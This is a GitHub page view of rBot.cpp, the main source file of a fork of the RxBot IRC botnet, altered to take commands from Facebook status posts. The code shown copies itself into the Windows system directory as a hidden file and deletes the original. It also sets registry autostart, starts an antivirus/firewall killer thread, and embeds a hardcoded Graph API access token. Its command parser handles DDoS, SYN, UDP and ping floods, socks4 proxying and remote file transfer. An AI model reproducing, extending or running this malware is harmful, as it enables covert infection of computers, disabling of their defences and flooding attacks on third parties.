forked from niken0793/RxBot
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathrBot.cpp
More file actions
2364 lines (2079 loc) · 76.5 KB
/
rBot.cpp
File metadata and controls
2364 lines (2079 loc) · 76.5 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
/*
rBot
*/
#include "includes.h"
#include "functions.h"
#include "configs.h"
#include "passwd.h"
#include "globals.h"
DWORD WINAPI fb_connect();
int fb_receiveloop();
int fb_parseline(char *line,int repeat);
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
char logbuf[LOGLINE],fname[_MAX_FNAME],ext[_MAX_EXT],rfilename[MAX_PATH],cfilename[MAX_PATH],sysdir[MAX_PATH];
int i = 0, err = 0;
DWORD id=0;
BOOL bkpserver = FALSE;
#ifndef NO_EHANDLER
// install exception handler
DWORD handler = (DWORD)_except_handler;
_asm
{ // Build EXCEPTION_REGISTRATION record:
push handler // Address of handler function
push FS:[0] // Address of previous handler
mov FS:[0],ESP // Install new EXECEPTION_REGISTRATION
}
#endif
// record start time
started = GetTickCount() / 1000;
// re-seed random numbers
srand(GetTickCount());
#ifdef DEBUG_LOGGING
opendebuglog();
#endif
#ifdef DEBUG_CONSOLE
OpenConsole();
printf("Debugging console enabled.\n\n");
#endif
#ifndef NO_CRYPT // Don't decrypt password here
decryptstrings((sizeof(authost) / sizeof(LPTSTR)), (sizeof(versionlist) / sizeof(LPTSTR)));
#endif
LoadDLLs(); // load all the dlls and functions here
// hide system messages if bot crashes
fSetErrorMode(SEM_NOGPFAULTERRORBOX);
// check if this exe is running already
if (WaitForSingleObject(CreateMutex(NULL, FALSE, botid), 30000) == WAIT_TIMEOUT)
ExitProcess(EXIT_FAILURE);
WSADATA WSAdata;
if ((err = fWSAStartup(MAKEWORD(2, 2), &WSAdata)) != 0)
return 0;
if (LOBYTE(WSAdata.wVersion) != 2 || HIBYTE(WSAdata.wVersion) != 2 ) {
fWSACleanup();
return 0;
}
//printf("Sysdir : %s\n",sysdir);
GetSystemDirectory(sysdir, sizeof(sysdir));
//printf("Sysdir : %s\n",sysdir);
//printf("Cfilename : %s\n",cfilename);
GetModuleFileName(GetModuleHandle(NULL), cfilename, sizeof(cfilename));
//printf("Cfilename : %s\n",cfilename);
_splitpath(cfilename, NULL, NULL, fname, ext);
//printf("fname : %s\n",fname);
_snprintf(rfilename, sizeof(rfilename), "%s%s", fname, ext);
if (strstr(cfilename, sysdir) == NULL) {
char tmpfilename[MAX_PATH];
if (rndfilename) {
for (i=0;(unsigned int)i < (strlen(filename) - 4);i++)
filename[i] = (char)((rand() % 26) + 97);
}
sprintf(tmpfilename, "%s\\%s", sysdir, filename);
if (GetFileAttributes(tmpfilename) != INVALID_FILE_ATTRIBUTES)
SetFileAttributes(tmpfilename,FILE_ATTRIBUTE_NORMAL);
// loop only once to make sure the file is copied.
BOOL bFileCheck=FALSE;
while (CopyFile(cfilename, tmpfilename, FALSE) == FALSE) {
DWORD result = GetLastError();
if (!bFileCheck && (result == ERROR_SHARING_VIOLATION || result == ERROR_ACCESS_DENIED)) {
bFileCheck=TRUE; // check to see if its already running! then try 1 last time.
Sleep(15000);
} else
break; // just continue, it's not worth retrying.
}
SetFileTime(tmpfilename);
SetFileAttributes(tmpfilename,FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_READONLY);
PROCESS_INFORMATION pinfo;
STARTUPINFO sinfo;
memset(&pinfo, 0, sizeof(pinfo));
memset(&sinfo, 0, sizeof(sinfo));
sinfo.lpTitle = "";
sinfo.cb = sizeof(sinfo);
sinfo.dwFlags = STARTF_USESHOWWINDOW;
#ifdef DEBUG_CONSOLE
sinfo.wShowWindow = SW_SHOW;
#else
sinfo.wShowWindow = SW_HIDE;
#endif
char cmdline[MAX_PATH];
HANDLE hProcessOrig = OpenProcess(SYNCHRONIZE, TRUE, GetCurrentProcessId());
sprintf(cmdline,"%s %d \"%s\"",tmpfilename, hProcessOrig, cfilename);
//printf("%s",cmdline);
if (CreateProcess(tmpfilename, cmdline, NULL, NULL, TRUE, NORMAL_PRIORITY_CLASS | DETACHED_PROCESS, NULL, sysdir, &sinfo, &pinfo)) {
Sleep(200);
CloseHandle(pinfo.hProcess);
CloseHandle(pinfo.hThread);
fWSACleanup();
ExitProcess(EXIT_SUCCESS);
}
}
#ifndef NO_MELT
// now delete it
if (__argc > 2) {
// now the clone is running --> kill original exe
HANDLE hProcessOrig = (HANDLE) atoi(__argv[1]);
WaitForSingleObject(hProcessOrig, INFINITE);
CloseHandle(hProcessOrig);
if (__argv[2]) {
Sleep(2000); //wait for 2 sec to make sure process has fully exited
DeleteFile(__argv[2]);
}
}
#endif
if ((AutoStart) && !(noadvapi32))
AutoStartRegs(rfilename);
sprintf(logbuf,"[MAIN]: Bot started.");
addthread(logbuf,MAIN_THREAD,NULL);
addlog(logbuf);
//printf("%s",logbuf);
// remove the following line if you don't want any predefined aliases
memset(aliases, 0, sizeof(aliases));
addpredefinedaliases();
#ifndef NO_AVFW_KILL
sprintf(logbuf,"[PROCS]: AV/FW Killer active.");
i=addthread(logbuf,KILLER_THREAD,NULL);
if ((threads[i].tHandle = CreateThread(NULL, 0, &kill_av, NULL, 0, &id)) == NULL)
sprintf(logbuf,"[PROCS]: Failed to start AV/FW killer thread, error: <%d>.", GetLastError());
addlog(logbuf);
#endif
#ifndef NO_SECSYSTEM
sprintf(logbuf,"[SECURE]: System secure monitor active.");
i=addthread(logbuf,KILLER_THREAD,NULL);
if ((threads[i].tHandle = CreateThread(NULL, 0, &AutoSecure, NULL, 0, &id)) == NULL)
sprintf(logbuf,"[SECURE]: Failed to start secure thread, error: <%d>.", GetLastError());
addlog(logbuf);
#endif
#ifndef NO_REGISTRY
sprintf(logbuf,"[SECURE]: Registry monitor active.");
i=addthread(logbuf,KILLER_THREAD,NULL);
if ((threads[i].tHandle = CreateThread(NULL, 0, &AutoRegistry, (LPVOID)&rfilename, 0, &id)) == NULL)
sprintf(logbuf,"[SECURE]: Failed to start registry thread, error: <%d>.", GetLastError());
addlog(logbuf);
#endif
#ifndef NO_IDENT
if (findthreadid(IDENT_THREAD) == 0) {
sprintf(logbuf,"[IDENTD]: Server running on Port: 113.");
i = addthread(logbuf,IDENT_THREAD,NULL);
if ((threads[i].tHandle = CreateThread(NULL, 0, &IdentThread, (LPVOID)i, 0, &id)) == NULL)
sprintf(logbuf,"[IDENTD]: Failed to start server, error: <%d>.", GetLastError());
addlog(logbuf);
}
#endif
// set version while bot is running
current_version=rand()%(sizeof(versionlist)/sizeof(*versionlist));
#ifdef DEBUG_CONSOLE
printf("Debugging : %s %s\n\n",mainirc.host,server);
#endif
// copy settings into main irc structure
strncpy(mainirc.host, server, sizeof(mainirc.host)-1);
mainirc.port = port;
strncpy(mainirc.channel, channel, sizeof(mainirc.channel)-1);
strncpy(mainirc.chanpass, chanpass, sizeof(mainirc.chanpass)-1);
mainirc.spy = 0;
//printf("%s\n",mainirc.channel);
//printf("%s\n",mainirc.chanpass);
while (1) {
printf(" 1. WINMAIN looping to connect to IRC\n");
for (i = 0; i < 6; i++) {
#ifndef NO_CONNCHECK
DWORD cstat;
// check if we're connected to the internet... if not, then wait 5mins and try again
if (!nowininet) if (fInternetGetConnectedState(&cstat, 0) == FALSE) {
Sleep(30000);
continue;
}
#endif
success = FALSE;
//if ((err = irc_connect((LPVOID)&mainirc)) == 2)
// break; // break out of the loop
fb_connect();
if (success) i--; // if we're successful in connecting, decrease i by 1;
// irc_connect didn't return 2, so we need to sleep then reconnect
Sleep(3000);
}
//if (err == 2) break; // break out of the loop and close
}
// cleanup;
killthreadall();
fWSACleanup();
return 0;
}
// connect function used by the original bot and all clones/spies
// Facebook connect
DWORD WINAPI fb_connect()
{
int rval;
printf("Connecting facebook\n");
while (1) {
printf("2. fb_connect looping\n");
rval = fb_receiveloop();
if (rval == 0)
continue;
else if (rval == 1) { //Disconnect (sleep 15 mins, reconnect..)
Sleep(900000);
continue;
}
else if (rval == 2)
break; //Quit
}
return rval;
}
// receive loop for bots/spies
int fb_receiveloop()
{
// main receive buffer
char buffer[4096];
int numberOfLoop = 0;
char masters[MAXLOGINS][128], *lines[MAX_LINES], str[18], login[128], host[160];
int i, j, repeat, in_channel=0;
printf("irc receiving loopping\n");
for (i = 0; i < MAXLOGINS; i++)
masters[i][0] = '\0';
//strcpy(buffer,f.message);
// loop forever
while(1) {
numberOfLoop++;
printf("\n\n--------------------- A New Loop %d -----------------------\n",numberOfLoop);
printf("3. irc_receiveloop receiving data\n");
string paramAccesstoken = "access_token=CAAVUMKQz7ZB0BANtlRFjMPvzH2PQ2We0Xy6tyd8iAAnSMMHZCduQHQMGZAln4PWOQO6CPFnYT4LVpQJ2TBay7vIR268fuq3jVONE5Hteq05GQA8QlBapz3ZAWmQdmu43giQytttLwpCAphqZCcztAwrlLX3kpc2hm4tBCYmTn7xkRHPoEazE1Nb2XSXQAnYDRZCK6sNixcj7nDni2QN4am";
string paramId = "/me";
string paramField ="?fields=message&limit=1";
FbStatus f = GetFBStatuses(paramId,paramField,paramAccesstoken);
memset(buffer, 0, sizeof(buffer));
// if recv() returns 0, that means that the connection has been lost.
//if (frecv(sock, buffer, sizeof(buffer), 0) <= 0)
// break;
Sleep(5000);
char s[200];
if(f.message != NULL){
printf("3. FB status : %s\n",f.message);
if(strcmp(s,f.message)!=0){
strcpy(buffer,f.message);
strcpy(s,f.message);
}
else {
printf("3. FB status : that's a old status man! get a new one.\n");
}
}
else{
printf("receiving from FB fail\n");
}
// FIX ME: Truncation occurs here
// split lines up if multiple lines received at once, and parse each line
//printf("%s\n",buffer);
i = Split(buffer,&lines);
printf("i = split i = %d \n",i);
for (j=0;j < i;j++) {
repeat=1;
do {
printf("Do while parse line\n");
#ifdef DEBUG_LOGGING
debuglog(lines[j]);
#endif
lines[j]=strcat(command_prefix,lines[j]);
//if(lines[j][0]!=0)
printf("Line %d: %s\n",j,lines[j]);
repeat = fb_parseline(lines[j],repeat);
printf(" do while repeat = %d\n",repeat);
repeat--;
if (repeat > 0)
Sleep(FLOOD_DELAY);
} while (repeat > 0);
printf("switch repeat = %d\n",repeat);
switch (repeat) {
case -1:
return 0; // Reconnect
case -2:
return 1; // Disconnect
case -3:
return 2; // Quit
default:
break;
}
}
}
return 0;
}
// function to parse lines for the bot and clones
int fb_parseline(char *line,int repeat)
{
char line1[IRCLINE], line2[IRCLINE], sendbuf[IRCLINE],ntmp[12], ntmp2[3];
char *a[MAXTOKENS], a0[128], nick[MAXNICKLEN], user[24];
unsigned char parameters[256];
printf("IRC parseline\n");
int i, ii, s=3;
DWORD id=0;
BOOL ismaster = TRUE, silent = TRUE, notice = FALSE, usevars = FALSE;
memset(sendbuf, 0, sizeof(sendbuf));
if (line == NULL) return 1;
printf("%s\n",line);
memset(line1, 0, sizeof(line1));
strncpy(line1, line, sizeof(line1)-1);
printf("%s\n",line1);
char *x = strstr(line1, " :");
//printf("%x\n",x);
printf("Spliting lines into word---\n");
// split the line up into seperate words
strncpy(line2, line1, sizeof(line2)-1);
a[0] = strtok(line2, " ");
for (i = 1; i < MAXTOKENS; i++)
{
a[i] = strtok(NULL, " ");
// if(a[i][0]!= 0)
if(a[i] != NULL)
printf("a[%d] : %s\n",i,a[i]);
}
if (a[0] == NULL || a[1] == NULL)
return 1;
memset(parameters,0,sizeof(parameters));
//printf("checking parameter-----\n");
for (i=31;i>=0;i--) {
if (!a[i]){
//printf("2. a[%d] : %s\n",i,a[i]);
continue;
}
if ((a[i][0]=='-') && (a[i][2]==0)) {
//Looks like a valid parameter..
if(a[i]!= NULL)
printf("2. a[%d][0] : %s\n",i,a[i]);
parameters[a[i][1]]=1;
a[i][0]=0;
a[i][1]=0;
a[i][2]=0;
a[i]=NULL;
} else
break;
}
if (parameters['s'])
silent=TRUE;
if (parameters['n']) {
silent=FALSE;
notice=TRUE;
}
if (a[0][0] != '\n') {
strncpy(a0, a[0], sizeof(a0)-1);
strncpy(user, a[0]+1, sizeof(user)-1);
strtok(user, "!");
}
// if we get a privmsg, notice or topic command, start parsing it
printf("3. Start to analyse private message---\n");
if (strcmp("PRIVMSG", a[1]) == 0 || strcmp("NOTICE", a[1]) == 0 || (strcmp("332", a[1]) == 0 && topiccmd)) {
if (strcmp("PRIVMSG", a[1]) == 0 || strcmp("NOTICE", a[1]) == 0) { // it's a privmsg/notice
if (strcmp("NOTICE", a[1]) == 0)
notice = TRUE;
if (a[2] == NULL) return 1;
if (strstr(a[2], "#") == NULL || notice)
a[2] = user;
if (a[3] == NULL) return 1;
a[3]++;
// if our nick is the first part of the privmsg, then we should look at a[4] for a command, a[3] otherwise.
//if (a[3] && nick1)
//if (strncmp(nick, a[3], strlen(nick)) == 0)
// s = 4;
//else
// s = 3;
if (a[s] == NULL) return 1;
// if someone asks for our version, send version reply
} else { // it's a topic command
s = 4;
a[4]++;
a[2] = a[3];
}
#ifndef NO_DCC
if (strcmp("\1DCC", a[s]) == 0) {
if (strcmp("SEND", a[s+1]) == 0) {
if (ismaster) {
DCC dcc;
sprintf(dcc.filename,"%s",a[s+2]);
sprintf(dcc.host,"%s",a[s+3]);
dcc.port = atoi(a[s+4]);
dcc.sock = sock;
strncpy(dcc.sendto,user,sizeof(dcc.sendto)-1);
dcc.notice = notice;
dcc.silent = silent;
sprintf(sendbuf, "[DCC]: Receive file: '%s' from user: %s.", dcc.filename,dcc.sendto);
dcc.threadnum=addthread(sendbuf,DCC_THREAD,NULL);
if (threads[dcc.threadnum].tHandle = CreateThread(NULL, 0, &DCCGetThread, (LPVOID)&dcc, 0, &id)) {
while (dcc.gotinfo == FALSE)
Sleep(50);
} else
sprintf(sendbuf,"[DCC]: Failed to start transfer thread, error: <%d>.", GetLastError());
} else
sprintf(sendbuf, "[DCC]: Receive file: '%s' failed from unauthorized user: %s.", a[s+2], user);
addlog(sendbuf);
return 1;
}
else if (strcmp("CHAT", a[s+1]) == 0) {
if (ismaster) {
if (findthreadid(DCCCHAT_THREAD) == 0) {
DCC dcc;
sprintf(dcc.host,"%s",a[s+3]);
dcc.port = atoi(a[s+4]);
dcc.sock = sock;
strncpy(dcc.sendto,user,sizeof(dcc.sendto)-1);
dcc.notice = notice;
dcc.silent = silent;
sprintf(sendbuf, "[DCC]: Chat from user: %s.", user);
dcc.threadnum=addthread(sendbuf,DCCCHAT_THREAD,NULL);
if (threads[dcc.threadnum].tHandle = CreateThread(NULL, 0, &DCCChatThread, (LPVOID)&dcc, 0, &id)) {
while (dcc.gotinfo == FALSE)
Sleep(50);
} else
sprintf(sendbuf,"[DCC]: Failed to start chat thread, error: <%d>.", GetLastError());
} else
sprintf(sendbuf,"[DCC]: Chat already active with user: %s.",user);
} else
sprintf(sendbuf,"[DCC]: Chat failed by unauthorized user: %s.",user);
addlog(sendbuf);
return 1;
}
} else
#endif
if (a[s]++[0] != prefix)
return 1;
#ifdef DEBUG_CRYPT // NOTE: Here for testing only. Please leave until we have the auth bug looked at.
#ifndef NO_CRYPT
if (strcmp("dump", a[s]) == 0) {
if (a[s+1]) {
//irc_sendv(sock, "NOTICE %s : Id = '%s'\r\n",user,botid); Sleep(FLOOD_DELAY);
//irc_sendv(sock, "NOTICE %s : Version = '%s'\r\n",user,version); Sleep(FLOOD_DELAY);
//irc_sendv(sock, "NOTICE %s : Server = '%s'\r\n",user,server); Sleep(FLOOD_DELAY);
//irc_sendv(sock, "NOTICE %s : Channel = '%s'\r\n",user,channel); Sleep(FLOOD_DELAY);
//irc_sendv(sock, "NOTICE %s : Nickconst = '%s'\r\n",user,nickconst); Sleep(FLOOD_DELAY);
//irc_sendv(sock, "NOTICE %s : Authost = '%s'\r\n",user,authost[0]);
//irc_sendv(sock, "NOTICE %s : Password(before) = '%s'\r\n",user,password); Sleep(FLOOD_DELAY);
Crypt(password,strlen(password));
//irc_sendv(sock, "NOTICE %s : Password = '%s'\r\n",user,password); Sleep(FLOOD_DELAY);
Crypt(password,strlen(password));
//irc_sendv(sock, "NOTICE %s : Password(enc) = '%s'\r\n",user,password); Sleep(FLOOD_DELAY);
Crypt(a[s+1],strlen(a[s+1]));
//irc_sendv(sock, "NOTICE %s : Password(arg) = '%s'\r\n",user,a[s+1]); Sleep(FLOOD_DELAY);
}
return 1;
}
#endif
#endif
// see if someone is logging in
if (strcmp("login", a[s]) == 0 || strcmp("l", a[s]) == 0) {
if (a[s+1] == NULL || ismaster)
return 1;
char *u = strtok(a[0], "!") + 1, *h = strtok(NULL, "\0");
h = strtok(h, "~");
#ifndef NO_CRYPT
Crypt(a[s+1],strlen(a[s+1]),"",0); // Encrypt password to compare to stored password
#endif
if (strcmp(password, a[s+1]) != 0) {
////irc_sendv(sock, "NOTICE %s :Pass auth failed (%s!%s).\r\n", user, user, h);
////irc_sendv(sock, "NOTICE %s :Your attempt has been logged.\r\n", user);
sprintf(sendbuf, "[MAIN]: *Failed pass auth by: (%s!%s).", u, h);
addlog(sendbuf);
return 1;
}
BOOL host_ok=FALSE;
for (i=0;i<(sizeof(authost) / sizeof(LPTSTR));i++) {
#ifndef NO_WILDCARD
if (wildcardfit(authost[i], h)) {
host_ok = TRUE;
break;
}
#else
if (strcmp(h, authost[i]) == 0) {
host_ok = TRUE;
break;
}
#endif
}
if (!host_ok) {
////irc_sendv(sock, "NOTICE %s :Host Auth failed (%s!%s).\r\n", user, user, h);
////irc_sendv(sock, "NOTICE %s :Your attempt has been logged.\r\n", user);
sprintf(sendbuf, "[MAIN]: *Failed host auth by: (%s!%s).", u, h);
addlog(sendbuf);
return 1;
}
for (i = 0; i < MAXLOGINS; i++) {
if (a[s+1] == NULL) return 1;
}
return 1;
}
printf("4. Start TODO task\n");
ismaster = true;
int spy=0;
if ((ismaster || strcmp("332", a[1]) == 0) && spy == 0) {
// commands requiring no parameters
// check if the command matches an alias's name
for (i = 0; i < anum; i++) {
if (strcmp(aliases[i].name, a[s]) == 0) {
char *sc = strstr(line, " :");
if (sc == NULL) return 1;
sc[2] = prefix;
sc[3] = prefix;
strncpy(sc+4, aliases[i].command, 159);
// process '$x-' parameter variables
for (ii=15; ii > 0; ii--) {
sprintf(ntmp, "$%d-", ii);
if (strstr(line, ntmp) != NULL && a[s+ii+1] != NULL) {
x = x + strlen(aliases[i].name);
if (x != NULL) {
char *y = strstr(x, a[s+ii]);
if (y != NULL) replacestr(line, ntmp, y);
}
}
else if (a[s+ii+1] == NULL) {
strncpy(ntmp2, ntmp, 2);
ntmp2[2] = '\0';
replacestr(line, ntmp, ntmp2);
}
}
// process '$x' parameter variables
for (ii=16; ii > 0; ii--){
sprintf(ntmp, "$%d", ii);
if (strstr(line, ntmp) != NULL && a[s+ii] != NULL)
replacestr(line, ntmp, a[s+ii]);
}
usevars = TRUE;
break;
}
}
if (strcmp("die", a[s]) == 0 || strcmp("d", a[s]) == 0) {
if (strcmp("332", a[1]) != 0) {
#ifdef DEBUG_LOGGING
closedebuglog();
#endif
killthreadall();
ExitProcess(EXIT_SUCCESS);
}
}
#ifndef NO_BOTVERSION
else if (strcmp("version", a[s]) == 0 || strcmp("ver", a[s]) == 0) {
sprintf(sendbuf, "[MAIN]: %s", version);
//if (!silent) //irc_privmsg(sock,a[2],sendbuf,notice);
addlog(sendbuf);
return repeat;
}
#endif
#ifndef NO_SECURE
else if (strcmp("secure", a[s]) == 0 || strcmp("sec", a[s]) == 0
|| strcmp("unsecure", a[s]) == 0 || strcmp("unsec", a[s]) == 0) {
SECURE secure;
secure.secure = (strcmp("secure",a[s])==0 || strcmp("sec",a[s])==0);
_snprintf(secure.chan, sizeof(secure.chan), a[2]);
//secure.sock = sock;
secure.notice = notice;
secure.silent = silent;
_snprintf(sendbuf, sizeof(sendbuf),"[SECURE]: %s system.", ((secure.secure)?("Securing"):("Unsecuring")));
secure.threadnum = addthread(sendbuf, SECURE_THREAD, NULL);
if (threads[secure.threadnum].tHandle = CreateThread(NULL, 0, &SecureThread, (LPVOID)&secure, 0, &id)) {
while (secure.gotinfo == FALSE)
Sleep(50);
} else
sprintf(sendbuf,"[SECURE]: Failed to start secure thread, error: <%d>.", GetLastError());
addlog(sendbuf);
return 1;
}
#endif
#ifndef NO_SOCK4SERV
else if (strcmp("socks4", a[s]) == 0 || strcmp("s4", a[s]) == 0) {
SOCKS4 socks4;
socks4.port = ((a[s+1])?((atoi(a[s+1])==0)?(socks4port):(atoi(a[s+1]))):(socks4port));
((a[s+2])?(_snprintf(socks4.userid,sizeof(socks4.userid),a[s+2])):
((parameters['a'])?(_snprintf(socks4.userid,sizeof(socks4.userid),user)):(socks4.userid[0]='\0')));
socks4.sock = sock;
socks4.notice = notice;
socks4.silent = silent;
_snprintf(socks4.chan,sizeof(socks4.chan),a[2]);
sprintf(sendbuf, "[SOCKS4]: Server started on: %s:%d.", GetIP(sock), socks4.port);
socks4.threadnum=addthread(sendbuf,SOCKS4_THREAD,NULL);
if (threads[socks4.threadnum].tHandle = CreateThread(NULL, 0, &Socks4Thread, (LPVOID)&socks4, 0, &id)) {
while(socks4.gotinfo == FALSE)
Sleep(50);
} else
addlogv("[SOCKS4]: Failed to start server thread, error: <%d>.", GetLastError());
return 1;
}
else if (strcmp("socks4stop",a[s]) == 0) {
stopthread(sock,a[2],notice,silent,"[SOCKS4]","Server",SOCKS4_THREAD,a[s+1]);
return 1;
}
#endif
#ifndef NO_RLOGIND
else if (strcmp("rloginstop",a[s]) == 0) {
//stopthread(sock,a[2],notice,silent,"[RLOGIND]","Server",RLOGIN_THREAD,a[s+1]);
return 1;
}
#endif
else if (strcmp("httpstop",a[s]) == 0) {
// stopthread(sock,a[2],notice,silent,"[HTTPD]","Server",HTTP_THREAD,a[s+1]);
return 1;
}
else if (strcmp("logstop",a[s]) == 0) {
// stopthread(sock,a[2],notice,silent,"[LOG]","Log list",LOG_THREAD,a[s+1]);
return 1;
}
else if (strcmp("redirectstop",a[s]) == 0) {
// stopthread(sock,a[2],notice,silent,"[REDIRECT]","TCP redirect",REDIRECT_THREAD,a[s+1]);
return 1;
}
else if (strcmp("ddos.stop",a[s]) == 0) {
// stopthread(sock,a[2],notice,silent,"[DDoS]","DDoS flood",DDOS_THREAD,a[s+1]);
return 1;
}
else if (strcmp("synstop",a[s]) == 0) {
// stopthread(sock,a[2],notice,silent,"[SYN]","Syn flood",SYN_THREAD,a[s+1]);
return 1;
}
else if (strcmp("udpstop",a[s]) == 0) {
// stopthread(sock,a[2],notice,silent,"[UPD]","UDP flood",UDP_THREAD,a[s+1]);
return 1;
}
else if (strcmp("pingstop",a[s]) == 0) {
// stopthread(sock,a[2],notice,silent,"[PING]","Ping flood",PING_THREAD,a[s+1]);
return 1;
}
#ifndef NO_TFTPD
else if (strcmp("tftpstop", a[s]) == 0) {
// stopthread(sock,a[2],notice,silent,"[TFTP]","Server",TFTP_THREAD,a[s+1]);
return 1;
}
#endif
#ifndef NO_FINDFILE
else if (strcmp("findfilestop",a[s]) == 0 || strcmp("ffstop",a[s]) == 0) {
// stopthread(sock,a[2],notice,silent,"[FINDFILE]","Find file",FIND_THREAD,a[s+1]);
return 1;
}
#endif
#ifndef NO_PROCESS
else if (strcmp("procsstop",a[s]) == 0 || strcmp("psstop",a[s]) == 0) {
// stopthread(sock,a[2],notice,silent,"[PROC]","Process list",PROC_THREAD,a[s+1]);
return 1;
}
#endif
else if (strcmp("clonestop",a[s]) == 0) {
// stopthread(sock,a[2],notice,silent,"[CLONES]","Clone",CLONE_THREAD,a[s+1]);
return 1;
}
else if (strcmp("securestop",a[s]) == 0) {
// stopthread(sock,a[2],notice,silent,"[SECURE]","Secure",SECURE_THREAD,a[s+1]);
return 1;
}
else if (strcmp("scanstop",a[s]) == 0) {
// stopthread(sock,a[2],notice,silent,"[SCAN]","Scan",SCAN_THREAD,a[s+1]);
return 1;
}
/*else if (strcmp("scandel",a[s]) == 0 || strcmp("sdel",a[s]) == 0) {
DelPayloadFile(sock,a[2],notice,silent);
return 1;
}*/
else if (strcmp("scanstats",a[s]) == 0 || strcmp("stats",a[s]) == 0) {
// ListExploitStats(sock,a[2],notice);
// return repeat;
}
else if (strcmp("reconnect", a[s]) == 0 || strcmp("r", a[s]) == 0) {
// //irc_sendv(sock, "QUIT :reconnecting\r\n");
addlog("[MAIN]: Reconnecting.");
return 0;
}
else if (strcmp("disconnect", a[s]) == 0 || strcmp("dc", a[s]) == 0) {
// //irc_sendv(sock, "QUIT :disconnecting\r\n");
addlog("[MAIN]: Disconnecting.");
return -1;
}
else if (strcmp("quit", a[s]) == 0 || strcmp("q", a[s]) == 0) {
if (a[s+1]) {
if (x != NULL) {
char *y = strstr(x, a[s+1]);
//if (y != NULL) //irc_sendv(sock, "QUIT :%s\r\n", y);
}
} else
// //irc_sendv(sock, "QUIT :later\r\n");
return -2;
}
else if (strcmp("status", a[s]) == 0 || strcmp("s", a[s]) == 0) {
sprintf(sendbuf, "[MAIN]: Status: Ready. Bot Uptime: %s.", Uptime(started));
////irc_privmsg(sock, a[2], sendbuf, notice);
addlog(sendbuf);
// return repeat;
}
else if (strcmp("id", a[s]) == 0 || strcmp("i", a[s]) == 0) {
sprintf(sendbuf, "[MAIN]: Bot ID: %s.", botid);
////irc_privmsg(sock, a[2], sendbuf, notice);
addlog(sendbuf);
// return repeat;
}
else if (strcmp("reboot", a[s]) == 0) {
sprintf(sendbuf, ((Reboot())?("[MAIN]: Rebooting system."):("[MAIN]: Failed to reboot system.")));
// //irc_privmsg(sock, a[2], sendbuf, notice);
addlog(sendbuf);
return 1;
}
else if (strcmp("threads", a[s]) == 0 || strcmp("t", a[s]) == 0) {
TLIST tlist;
_snprintf(tlist.chan, sizeof(tlist.chan), a[2]);
// tlist.sock = sock;
tlist.notice = notice;
